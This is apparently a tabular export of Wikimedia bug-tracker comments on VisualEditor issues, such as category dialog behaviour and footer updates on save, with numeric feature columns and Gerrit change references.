231317,VisualEditor: Can't move to last item in category dialog suggester box with cursors,Now fixed by Trevor.,,,1371002039,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-pj4cd4p4ynmavre5zsn7,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4,1.0,Now fixed by Trevor.
231311,VisualEditor: Can't move to last item in category dialog suggester box with cursors,Related URL: https://gerrit.wikimedia.org/r/68130 (Gerrit Change If48e001b92c217bee0a35b6da41d1c1ff0e3271c),,,1371001969,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-pj4cd4p4ynmavre5zsn7,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change If48e001b92c217bee0a35b6da41d1c1ff0e3271c)
231304,VisualEditor: Can't move to last item in category dialog suggester box with cursors,"(In reply to comment #3)
> I can't reproduce this on master.

But I can. :-(

Requires two extant (on page and in wiki) categories which start with the same character sequence (I have ""DoG and ""DooooG"")

On suggesting 'd', I get:

New category
  d
Move this category here
Matching categories     <--- This should not be here at all
  DoG                   <--- This should be in the ""Move this category here"" block
  DooooG                <--- This should also be in ""Move this category here""",,,1371000702,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-pj4cd4p4ynmavre5zsn7,task_subcomment,,True,c1,2,True,,,-3,,1.0,0.0,0.0,0.0,1.0,2.0,2.5,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,1.5,0.5,7.5,5.5,0.0,0.5,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,2.0,0.0,0.0,1.5,0.0,0.0,0.0,1.0,3.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.5,2.5,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,2.0,0.0,0.0,0.0,0.5,0.0,1.5,2.5,14.0,0.0,1.5,7.5,0.0,0.0,0.0,0.5,6.0,0.0,1.0,0.0,1.5,5.5,1.0,0.0,5.5,0.0,1.5,0.0,0.5,0.0,0.0,0.5,0.0,0.0,3.5,3.609090909090909,0.6454545454545455,"(In reply to comment #3)
QUOTE

But I can. :-(

Requires two extant (on page and in wiki) categories which start with the same character sequence (I have ""DoG and ""DooooG"")

On suggesting 'd', I get:

New category
  d
Move this category here
Matching categories     <--- This should not be here at all
  DoG                   <--- This should be in the ""Move this category here"" block
  DooooG                <--- This should also be in ""Move this category here"""
231298,VisualEditor: Can't move to last item in category dialog suggester box with cursors,I can't reproduce this on master.,,,1370978406,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-pj4cd4p4ynmavre5zsn7,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,I can't reproduce this on master.
231292,VisualEditor: Can't move to last item in category dialog suggester box with cursors,Seemingly not; Trevor investigating.,,,1369407946,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-pj4cd4p4ynmavre5zsn7,task_subcomment,,True,c1,1,True,,,-6,,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,5.5,1.0,Seemingly not; Trevor investigating.
231288,VisualEditor: Can't move to last item in category dialog suggester box with cursors,Now fixed in master.,,,1369404163,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-pj4cd4p4ynmavre5zsn7,task_subcomment,,True,c1,1,True,,,-6,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4,1.0,Now fixed in master.
50561,VisualEditor: Make a toolbar button to trigger the meta-data inspector,"

--------------------------
**Version**: unspecified
**Severity**: trivial",High,80.0,1368747960,1369416082.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-koardc3to3cjpsgjsemv,task_description,resolved,True,c1,1,True,False,True,-7,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.055555555555555,0.5,"

--------------------------
**Version**: unspecified
**Severity**: trivial"
231042,VisualEditor: Make a toolbar button to trigger the meta-data inspector,Related URL: https://gerrit.wikimedia.org/r/65314 (Gerrit Change Ie87a3c7dde2f29c3898c08d4cade5c0ba2f937dd),,,1369420191,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-koardc3to3cjpsgjsemv,task_subcomment,,True,c1,1,False,,,-6,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Ie87a3c7dde2f29c3898c08d4cade5c0ba2f937dd)
231036,VisualEditor: Make a toolbar button to trigger the meta-data inspector,Merged and will go out in wmf5.,,,1369416082,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-koardc3to3cjpsgjsemv,task_subcomment,,True,c1,1,True,,,-6,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.125,1.0,Merged and will go out in wmf5.
231031,VisualEditor: Make a toolbar button to trigger the meta-data inspector,Related URL: https://gerrit.wikimedia.org/r/65303 (Gerrit Change Ibf63329a53bcd8043d46315239c19be4e681a18a),,,1369410443,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-koardc3to3cjpsgjsemv,task_subcomment,,True,c1,1,False,,,-6,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Ibf63329a53bcd8043d46315239c19be4e681a18a)
231026,VisualEditor: Make a toolbar button to trigger the meta-data inspector,"We will also want to kill the non-Category panels (or populate them, if you're feeling sprint-y).",,,1368748032,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-koardc3to3cjpsgjsemv,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,8.0,4.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,3.28,0.96,"We will also want to kill the non-Category panels (or populate them, if you're feeling sprint-y)."
50560,VisualEditor: Category changing in page doesn't cause footer to be updated on save,"Do we need to trigger a re-render of the catlinks div? Can we?

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=52403",High,80.0,1368747000,1389638336.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-2astjxmuxt2yyso6g3kb,task_description,resolved,True,c1,1,True,False,False,-7,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,7.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.088888888888889,0.6,"Do we need to trigger a re-render of the catlinks div? Can we?

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
230995,VisualEditor: Category changing in page doesn't cause footer to be updated on save,Verified the fix on test 2,,,1389901362,,PHID-USER-24djtv3gj5gua2y6u2g5,True,,,PHID-TASK-2astjxmuxt2yyso6g3kb,task_subcomment,,True,c1,3,False,,,28,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,Verified the fix on test 2
230993,VisualEditor: Category changing in page doesn't cause footer to be updated on save,"Change 107036 merged by jenkins-bot:
Update categories HTML on page save

https://gerrit.wikimedia.org/r/107036",,,1389638149,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-2astjxmuxt2yyso6g3kb,task_subcomment,,True,c1,3,False,,,28,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.411764705882353,1.0,"Change 107036 merged by jenkins-bot:
Update categories HTML on page save

GERRIT_URL"
230991,VisualEditor: Category changing in page doesn't cause footer to be updated on save,"Change 107036 had a related patch set uploaded by Esanders:
Update categories HTML on page save

https://gerrit.wikimedia.org/r/107036",,,1389536961,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-2astjxmuxt2yyso6g3kb,task_subcomment,,True,c1,3,False,,,27,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,25.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.65,1.0,"Change 107036 had a related patch set uploaded by Esanders:
Update categories HTML on page save

GERRIT_URL"
230988,VisualEditor: Category changing in page doesn't cause footer to be updated on save,*** Bug 57924 has been marked as a duplicate of this bug. ***,,,1386089449,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-2astjxmuxt2yyso6g3kb,task_subcomment,,True,c1,3,True,,,22,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 57924 has been marked as a duplicate of this bug. ***
230984,VisualEditor: Category changing in page doesn't cause footer to be updated on save,"Note that the categories on the page are not refreshed even after multiple VE sessions.  i.e. VE add category -> save -> VE add category -> save : results in a page that _displays_ only the categories at the beginning of the process.

Categories added via templates are also not displayed.",,,1384389210,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-2astjxmuxt2yyso6g3kb,task_subcomment,,True,c1,3,False,,,19,,0.0,0.0,0.0,3.0,3.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,11.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,10.0,3.0,8.0,2.0,0.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,11.0,5.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,7.0,3.9344262295081966,0.6557377049180327,"Note that the categories on the page are not refreshed even after multiple VE sessions.  i.e. VE add category -> save -> VE add category -> save : results in a page that _displays_ only the categories at the beginning of the process.

Categories added via templates are also not displayed."
230980,VisualEditor: Category changing in page doesn't cause footer to be updated on save,*** Bug 56683 has been marked as a duplicate of this bug. ***,,,1383767137,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-2astjxmuxt2yyso6g3kb,task_subcomment,,True,c1,3,True,,,18,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 56683 has been marked as a duplicate of this bug. ***
230972,VisualEditor: Category changing in page doesn't cause footer to be updated on save,*** Bug 50737 has been marked as a duplicate of this bug. ***,,,1373556875,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-2astjxmuxt2yyso6g3kb,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50737 has been marked as a duplicate of this bug. ***
230964,VisualEditor: Category changing in page doesn't cause footer to be updated on save,*** Bug 50072 has been marked as a duplicate of this bug. ***,,,1372036218,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-2astjxmuxt2yyso6g3kb,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50072 has been marked as a duplicate of this bug. ***
230954,VisualEditor: Category changing in page doesn't cause footer to be updated on save,"It depends on what we get back from the server.

If we get back something that is compatible with what api.php?action=parse gives (prop.categorieshtml, from Skin::getCategories), which is what live preview in core uses as well, then we can just update it by replacing the old with the new html.

If we can't get that, we'll have to re-implement Skin::getCategories in javascript. However I'd like to avoid that since it is skin-specific (skins can do all kinds of weird stuff to it, hard to predict. Ideally this would fall under the parts of the page output (like mw-content-text, htmlhead and script loader) that has a fixed html layout that skins can't alter the html itself of (it has enough css hooks to style anyway they like, they shouldn't need to modify the html). But that's not the reality.

--

Oh wait, this isn't from the server (not MediaWiki, not Parsoid). I mean, it shouldn't. This is reflected live when editing the document. We'll have to do it in javascript somehow I'm afraid.",,,1370851294,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-2astjxmuxt2yyso6g3kb,task_subcomment,,True,c1,2,True,,,-3,,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,3.3333333333333335,3.0,0.6666666666666666,0.0,0.0,0.6666666666666666,1.6666666666666667,3.6666666666666665,0.0,0.0,0.0,3.3333333333333335,0.0,8.0,9.666666666666666,0.3333333333333333,2.0,1.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,1.3333333333333333,0.0,6.0,1.0,3.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,1.0,0.0,1.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,10.333333333333334,2.6666666666666665,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,1.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,4.0,2.0,6.333333333333333,1.6666666666666667,0.6666666666666666,6.666666666666667,0.0,0.0,0.0,0.0,6.333333333333333,0.3333333333333333,0.0,0.0,7.0,9.666666666666666,2.0,0.0,0.0,0.0,7.0,0.0,2.6666666666666665,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,3.747747747747748,0.6981981981981983,"It depends on what we get back from the server.

If we get back something that is compatible with what api.php?action=parse gives (prop.categorieshtml, from Skin::getCategories), which is what live preview in core uses as well, then we can just update it by replacing the old with the new html.

If we can't get that, we'll have to re-implement Skin::getCategories in javascript. However I'd like to avoid that since it is skin-specific (skins can do all kinds of weird stuff to it, hard to predict. Ideally this would fall under the parts of the page output (like mw-content-text, htmlhead and script loader) that has a fixed html layout that skins can't alter the html itself of (it has enough css hooks to style anyway they like, they shouldn't need to modify the html). But that's not the reality.

--

Oh wait, this isn't from the server (not MediaWiki, not Parsoid). I mean, it shouldn't. This is reflected live when editing the document. We'll have to do it in javascript somehow I'm afraid."
50549,VisualEditor: Clicking link button while link inspector is already open throws error,"The button should probably not do anything if the inspector is already open.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1368737040,1369256685.0,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,False,PHID-TASK-7d3wwwbypeipgqn42o5c,task_description,resolved,True,c1,1,False,False,True,-7,,0.0,3.0,0.0,0.0,3.0,9.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,9.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,0.71875,"The button should probably not do anything if the inspector is already open.

--------------------------
**Version**: unspecified
**Severity**: normal"
230362,VisualEditor: Clicking link button while link inspector is already open throws error,Merged and will go out with wmf5.,,,1369256685,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7d3wwwbypeipgqn42o5c,task_subcomment,,True,c1,1,True,,,-6,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.375,1.0,Merged and will go out with wmf5.
230353,VisualEditor: Clicking link button while link inspector is already open throws error,Related URL: https://gerrit.wikimedia.org/r/64818 (Gerrit Change 